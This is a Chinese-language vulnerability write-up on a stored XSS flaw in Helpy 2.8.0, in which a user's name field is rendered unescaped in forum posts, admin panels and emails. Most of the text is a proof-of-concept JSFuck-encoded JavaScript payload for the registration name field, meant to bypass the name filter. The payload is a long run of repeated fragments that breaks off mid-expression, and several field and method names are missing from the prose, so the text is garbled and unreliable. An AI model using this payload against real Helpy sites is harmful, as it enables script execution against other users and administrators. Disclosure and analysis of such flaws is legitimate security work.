漏洞总结：Helpy 2.8.0 存储型 XSS 漏洞概述 Helpy 2.8.0 存在存储型跨站脚本漏洞（Stored XSS）。该漏洞位于帖子作者显示逻辑中，任何注册用户均可通过在账户的 字段中注入任意 HTML，导致未转义内容在公共论坛、管理员面板及 HTML 通知邮件中被渲染。 漏洞根源在于 模块中的 方法，该方法将用户输入的 字段插入到 I18n 翻译字符串中，并使用 标记为可信，从而禁用了 Rails ERB 的自动转义机制。 影响范围 受影响版本：Helpy 2.8.0 CVSS 评分：5.1 (Medium) CVE ID：CVE-2026-40229 利用方式： 1. 用户通过注册、更新资料或 OAuth 登录设置包含恶意 HTML 的 字段。 2. 系统通过 方法处理名称（仅改变大小写和空格，不转义 HTML）。 3. 恶意代码被存储并随帖子、通知邮件展示给其他用户。 绕过机制**：由于 仅处理单词字符，攻击者可使用 JSFuck 编码（仅包含非单词字符）来绕过过滤，实现任意 JavaScript 执行。 修复方案 目前尚无官方补丁。建议管理员关注后续更新或采取临时缓解措施。 概念验证 (PoC) 1. JSFuck 编码载荷 以下代码用于注册时的 字段，可触发 ： ```javascript [][([]+[])[+[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+(